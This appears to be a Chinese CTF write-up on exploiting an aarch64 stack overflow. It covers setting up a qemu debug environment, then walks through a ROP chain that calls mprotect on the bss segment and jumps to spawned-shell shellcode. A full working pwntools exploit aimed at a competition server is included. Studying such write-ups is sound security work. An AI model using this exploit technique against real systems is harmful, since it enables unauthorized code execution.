前言

比赛的一个 arm 64 位的 pwn 题,通过这个题实践了 arm 64 下的 rop 以及调试环境搭建的方式。

题目文件

https://gitee.com/hac425/blog_data/tree/master/arm64

程序分析

首先看看程序开的保护措施,架构信息

hac425@ubuntu:~/workplace$ checksec pwn
[*] '/home/hac425/workplace/pwn'
Arch: aarch64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

程序是 aarch64 的 , 开启了nx , 没有开 pie 说明程序的基地址不变。而且没有栈保护。

放到 ida 里面分析, 通过在 start 函数里面查看可以很快定位到 main 函数的位置

__int64 sub_400818()
{
sub_400760();
write(1LL, "Name:", 5LL);
read(0LL, &unk_411068, 0x200LL); // 往 bss 上读入 0x200 字节
sub_4007F0();
return 0LL;
}

main 函数的逻辑比较简单,首先读入 0x200 字节到 bss 段中的一个缓冲区, 然后调用另一个函数,这个函数里面就是简单的栈溢出。

__int64 sub_4007F0()
{
__int64 v1; // 数据大小为 8 字节
return read(0LL, &v1, 512LL); // 往 v1 处读入了 0x200 字节的数据
}

函数往一个 int64 类型的变量里面读入了 0x200 字节的数据, 栈溢出。

程序开启了 nx , 说明我们需要通过 rop 的技术来 getshell.

首先看看程序内还有没有可以利用的东西, 可以发现程序中还有 mprotect

我们可以使用 mprotect 来让一块内存变得可执行。 而且程序的开头我们可以往 bss 段写 0x200 字节的数据。

所以思路就有了:

  • 利用程序开始往 bss 段写数据的机会,在 bss 段写入 shellcode
  • 通过栈溢出和 rop 调用 mprotectshellcode 所在内存区域变成 rwx
  • 最后调到 shellcode 执行

调试环境搭建

开始一直纠结在环境不知道怎么搭建,后来发现可以直接使用 apt 安装 arm 的动态库,然后用 qemu 运行即可。

sudo apt-get install -y gcc-aarch64-linux-gnu g++-aarch64-linux-gnu
qemu-aarch64 -g 1234 -L /usr/aarch64-linux-gnu ./pwn -g 1234: 表示 qemu 会在 1234 起一个 gdbserver 等待 gdb 客户端连接后才能继续执行
-L /usr/aarch64-linux-gnu: 指定动态库路径

貌似 apt 还支持许多其他架构的动态库的安装, 以后出现其他架构的题也不慌了 _.

下面在使用 socat 搭建这个题, 方便输入一些 不可见的字符。

socat tcp-l:10002,fork exec:"qemu-aarch64 -g 1234  -L /usr/aarch64-linux-gnu ./pwn",reuseaddr

命令作用为 监听在 10002 端口, 每有一个连接过来,就执行

qemu-aarch64 -g 1234  -L /usr/aarch64-linux-gnu ./pwn

此时我们可以把调试器 attach 上去调试目标程序。

可以在脚本中,当连接服务器后,暂停执行,等待调试器 attach

p = remote("127.0.0.1", 10002)
pause() # 等待调试 attach ,并让目标程序继续执行

简单了解 arm64

首先是寄存器的变化。

  1. arm643264bit 长度的通用寄存器 x0x30 以及 sp,可以只使用其中的 32bitw0w30 (类似于 x64 中可以使用 $rax 也可以使用其中的 4 字节 $eax)。

  2. arm32 只有 1632bit 的通用寄存器 r0~r12 , lr, pc, sp.

函数调用的变化

  1. arm64 前面 8 个参数 都是通过寄存器来传递 x0x7

  2. arm32 前面 4 个参数通过寄存器来传递 r0r3,其他通过栈传递。

然后一些 rop 会用到的指令介绍

ret     跳转到 x30 寄存器,一般在函数的末尾会恢复函数的返回地址到 x30 寄存器

ldp x19, x20, [sp, #0x10]     从 sp+0x10 的位置读 0x10 字节,按顺序放入 x19, x20 寄存器

ldp x29, x30, [sp], #0x40      从 sp 的位置读 0x10 字节,按顺序放入 x29, x30 寄存器,然后 sp += 0x40

MOV X1, X0  寄存器X0的值传给X1

blr x3      跳转到由Xm目标寄存器指定的地址处,同时将下一条指令存放到X30寄存器中

定位偏移

对于栈溢出,我们需要定位到我们的输入数据的那一部分可以控制程序的 pc 寄存器。这一步可以使用 pwntools 自带的 cycliccyclic_find 的功能来查找偏移,这种方式非常的方便。

通过分析程序,我们知道程序会往 8 字节大小的空间内(int64) 读入 0x200 字节,所以使用 cyclic 生成一下然后发送给程序。

写个poc, 调试一下

from pwn import *
from time import sleep p = remote("127.0.0.1", 10002)
pause() p.recvuntil("Name:")
p.send("sssss") sleep(0.5) payload = cyclic(0x200)
p.sendline(payload) p.interactive()

当连接到 socat 监听的端口后,脚本会暂停,这时使用 gdb 连接上去就可以调试了。

然后让程序继续运行,同时让脚本也继续运行。会触发崩溃

可以看到 pc 寄存器的值被修改为 0x6161617461616173 ,同时栈上也都是 cyclic 生成的数据。

pc 的低四个字节(cyclic_find 最多支持 4 字节数据查找偏移)给 cyclic_find 来定位偏移。

In [23]: cyclic_find(0x61616173)
Out[23]: 72

所以 第 72 个字节后面就是返回地址的值了。

而且发现此时栈顶的数据刚好是返回地址都后面那一部分, 这个信息对于我们布置 rop 链也是一个有用的信息。

ROP

gadget 搜集

定位到 pc 的偏移后,下一步就是设置 rop 链了。

首先用 ROPgadget 查找程序中可用的 gadget

$ ROPgadget --binary pwn >  pwn.txt

然后根据我们的目的和拥有的条件,去找需要的 gadget.

回顾下我们的目标: 执行 mprotect , 然后执行 shellcode

可以去看看 mprotect 的调用位置。

程序中已经有一个完整的调用, 而且地址范围也是恰好包含了我们 shellcode 的位置(0x411068).所以只需要改第三个参数的值为标识可执行的即可。

#define PROT_READ	0x1     /* Page can be read.  */
#define PROT_WRITE 0x2 /* Page can be written. */
#define PROT_EXEC 0x4 /* Page can be executed. */
#define PROT_NONE 0x0 /* Page can not be accessed. */

通过前面的了解我们知道 arm64 的 第三个参数放在 x2 寄存器里面,所以我现在就是要去找可以修改 x2 或者 W2gadget.

通过在 gadget 里面搜索 ,发现了两个可以结合使用的 gadget

0x4008AC : ldr x3, [x21, x19, lsl #3] ; mov x2, x22 ; mov x1, x23 ; mov w0, w24 ; add x19, x19, #1 ; blr x3

0x4008CC : ldp x19, x20, [sp, #0x10] ; ldp x21, x22, [sp, #0x20] ; ldp x23, x24, [sp, #0x30] ; ldp x29, x30, [sp], #0x40 ; ret
  • 第一个 gadget 使用 x22, x23, x24 寄存器的值设置了 x2, x1 , w0 的值 , 这正好设置了函数调用的三个参数。然后会跳转到 x3. 而 x3 是从 x21 + x19<<3 处取出来的。

  • 第二个 gadget 则从 栈上取出数据设置了 x19 ~ 0x24x29,x30 然后 ret. 栈上的数据使我们控制的哇!

结合使用这两个 gadget 我们可以设置需要调用的函数的 3 个参数值, 那么我们就可以调用 mprotect 了。

布置 rop 链

下面分析 rop 链的构造

payload = cyclic(72)
payload += p64(0x4008CC) # pc, gadget 1 payload += p64(0x0) # x29
payload += p64(0x4008AC) # x30, ret address ----> gadget 2
payload += p64(0x0) # x19
payload += p64(0x0) # x20
payload += p64(0x0411068) # x21---> input
payload += p64(0x7) # x22---> mprotect , rwx
payload += p64(0x1000) # x23---> mprotect , size
payload += p64(0x411000) # x24---> mprotect , address
payload += p64(0x0411068 + 0x10)
payload += p64(0x0411068 + 0x10) # ret to shellcode
payload += cyclic(0x100)

首先使用 0x4008CC 处的 gadget 设置寄存器的值, 执行完后各个寄存器的值为

x30 = 0x4008AC   --> 即第二段 gadget 的地址, ret指令时会 跳转过去,执行第二段 gadget
x21 = 0x0411068 --> 程序开头让我们输入的name存放的位置, 用于第二段 gadget 设置 x3 x19 = 0 x22 = 7 mprotect 的第3个参数, 表示 rwx
x23 = 0x1000 mprotect 的第2个参数
x24 = 0x411068 mprotect 的第1个参数

此时栈的布局为

p64(0x0411068 + 0x10)
p64(0x0411068 + 0x10) # ret to shellcode
cyclic(0x100)

然后执行第二段 gadget(0x4008AC)

首先

ldr x3, [x21, x19, lsl #3]

我们在第一段 gadget 时设置了 x21name 的地址, x190。 所以 x3name 开始的 8 个字节。

然后设置 x0 ~x2 的值。最后会 跳转到 x3 处。 此时参数已经设置好,我们在 发送 name 时把 开头 8 字节 设置为 调用 mprotect 的地址,就可以调用 mprotectbss 段设置为 可执行了。

p.recvuntil("Name:")
payload = p64(0x4007E0) # 调用 mprotect
payload += p64(0)
payload += shellcode # shellcode
p.send(payload)

调用 mprotect

我这里选择了 0x4007E0, 因为这里执行完后就会 从栈上取地址返回, 我们可以再次控制 pc

.text:00000000004007E8                 LDP             X29, X30, [SP+var_s0],#0x10
.text:00000000004007EC RET

执行到 04007E8 时的 栈

p64(0x0411068 + 0x10)
p64(0x0411068 + 0x10) # ret to shellcode
cyclic(0x100)

跳转到 shellcode

然后就会跳转到 0x0411068 + 0x10 也就是我们 shellcode 的位置。

执行shellcode

poc

from pwn import *
from time import sleep
elf = ELF("./pwn")
context.binary = elf
context.log_level = "debug"
shellcode = asm(shellcraft.aarch64.sh()) p = remote("106.75.126.171", 33865)
# p = remote("127.0.0.1", 10002)
# pause() p.recvuntil("Name:")
payload = p64(0x4007E0)
payload += p64(0)
payload += shellcode
p.send(payload) payload = cyclic(72)
payload += p64(0x4008CC) # pc, gadget 1 payload += p64(0x0) # x29
payload += p64(0x4008AC) # x30, ret address ----> gadget 2
payload += p64(0x0) # x19
payload += p64(0x0) # x20
payload += p64(0x0411068) # x21---> input
payload += p64(0x7) # x22---> mprotect , rwx
payload += p64(0x1000) # x23---> mprotect , size
payload += p64(0x411000) # x24---> mprotect , address
payload += p64(0x0411068 + 0x10)
payload += p64(0x0411068 + 0x10) # ret to shellcode
payload += cyclic(0x100) sleep(0.5)
p.sendline(payload) p.interactive()

最后发现这两段 gadget 位于 程序初始化函数的那一部分, 应该可以作为通用 gadget .

总结

通过 搭建 arm64 程序调试环境,也明白其他架构调试环境搭建的方式

apt 安装相应的动态库,然后使用 qemu 执行, 使用 socat 起服务,方便调试

参考

https://peterpan980927.cn/2018/01/27/ARM64%E6%B1%87%E7%BC%96/
http://people.seas.harvard.edu/~apw/sreplay/src/linux/mmap.c

arm64 调试环境搭建及 ROP 实战的更多相关文章

  1. Windows下Lua+Redis 断点调试环境搭建==Linux下类似

    Lua+Redis 断点调试环境搭建 windows环境,使用Redis,写lua脚本头疼的问题之一不能对脚本断点调试,google加上自己的摸索,终于搞定. 1.下载ZeroBraneStudio, ...

  2. Solr4.8.0源码分析(4)之Eclipse Solr调试环境搭建

    Solr4.8.0源码分析(4)之Eclipse Solr调试环境搭建 由于公司里的Solr调试都是用远程jpda进行的,但是家里只有一台电脑所以不能jpda进行调试,这是因为jpda的端口冲突.所以 ...

  3. Windebug双机调试环境搭建

    Windebug双机调试环境搭建    开始进行内核编程/驱动编程的调试工作是非常烦人的,由于程序运行与内核层不受操作系统的管控,所以容易引起主机蓝屏和崩溃是常有的事.这也就使得内核程序的调试成了一大 ...

  4. 《天书夜读:从汇编语言到windows内核编程》四 windows内核调试环境搭建

    1) 基础篇是讲理论的,先跳过去,看不到代码运行的效果要去记代码是一个痛苦的事情.这里先跳入探索篇.其实今天的确也很痛苦,这作者对驱动开发的编译与调试环境介绍得太模糊了,我是各种尝试,对这个环境的搭建 ...

  5. HI3518E平台ISP调试环境搭建

    海思的SDK提供了ISP调试的相关工具,降低了IPC的ISP调试的难度.初次搭建ISP调试环境,记录一下. SDK版本:Hi3518_MPP_V1.0.A.0 硬件平台:HI3518E_OV9732 ...

  6. 一步一步 Pwn RouterOS之调试环境搭建&&漏洞分析&&poc

    前言 本文由 本人 首发于 先知安全技术社区: https://xianzhi.aliyun.com/forum/user/5274 本文分析 Vault 7 中泄露的 RouterOs 漏洞.漏洞影 ...

  7. eos源码分析和应用(一)调试环境搭建

    转载自 http://www.limerence2017.com/2018/09/02/eos1/#more eos基于区块链技术实现的开源引擎,开发人员可以基于该引擎开发DAPP(分布式应用).下面 ...

  8. Vue源码学习(一):调试环境搭建

    最近开始学习Vue源码,第一步就是要把调试环境搭好,这个过程遇到小坑着实费了点功夫,在这里记下来 一.调试环境搭建过程 1.安装node.js,具体不展开 2.下载vue项目源码,git或svn等均可 ...

  9. PhpStorm Xdebug远程调试环境搭建原理分析及问题排查

    2017年05月26日  经验心得 目录   一. 环境介绍 二. 远程环境配置 2.2 Xdebug安装 2.3 配置 三. 本地phpstorm配置 3.1 下载远程代码 3.2 添加php解释器 ...

随机推荐

  1. (转) CentOS7.4 + MySQL8.0 + Git + Gogs搭建

    原文:https://blog.csdn.net/qq_16075483/article/details/80295793 1.装系统,这个不会的下面就不用看了2.CentOS7.X安装MySQL8. ...

  2. Identity Server4学习系列四之用户名密码获得访问令牌

    1.简介 Identity Server4支持用户名密码模式,允许调用客户端使用用户名密码来获得访问Api资源(遵循Auth 2.0协议)的Access Token,MS可能考虑兼容老的系统,实现了这 ...

  3. donet core 应用 部署到CentOS

    创建应用 新建一个Asp.net core Web API 应用 在program里指定监听端口 public static IWebHost BuildWebHost(string[] args) ...

  4. CSS3 Drop-Shadows效果制作教程分享

    要求 必备知识 基本了解CSS语法,初步了解CSS3语法知识. 开发环境 Adobe Dreamweaver CS6/Chrome浏览器 演示地址 演示地址 Drop-Shadow效果,其实就是大家熟 ...

  5. js便签笔记(6)——jQuery中的ready()事件为何需要那么多代码?

    前言: ready()事件的应用,是大家再熟悉不过的了,学jQuery的第一步,最最常见的代码: jQuery(document).ready(function () { }); jQuery(fun ...

  6. 命令行下更好显示 mysql 查询结果

    在 linux命令行中,直接进行 mysql查询时,有时查询的结果字段较多,显示的效果就很不友好: 但 mysql支持以另一种方式来显示结果,如下: 普通是 SQL 是以分号 ; 结束的,如果改为 \ ...

  7. Ansible-安装-秘钥-部署-使用

    本文转自:https://www.cnblogs.com/ylqh/p/5902259.html ansiblemaster:192.168.74.146 ansibleslave1 :192.168 ...

  8. KMP字符串匹配算法理解(转)

    一.引言 主串(被扫描的串):S='s0s1...sn-1',i 为主串下标指针,指示每回合匹配过程中主串的当前被比较字符: 模式串(需要在主串中寻找的串):P='p0p1...pm-1',j 为模式 ...

  9. 制作openstack使用的Ubuntu镜像

    一.环境准备 OS:Ubuntu-14.04 制作镜像版本:Ubuntu-14.04.4-server-amd64.iso 查看是否支持虚拟化(有输出代表支持,否则在BIOS页面中设置即可): egr ...

  10. CRM项目分析建表

    这个CRM项目是我们学习一年多以来,第一次团队合作完成的项目!之前的项目都是做半个月的,但是都是自己单独完成一套项目的!这次我们还是做半个月的!但是我们是分工合作的!自己所完成的内容都是不同的!我觉得 ...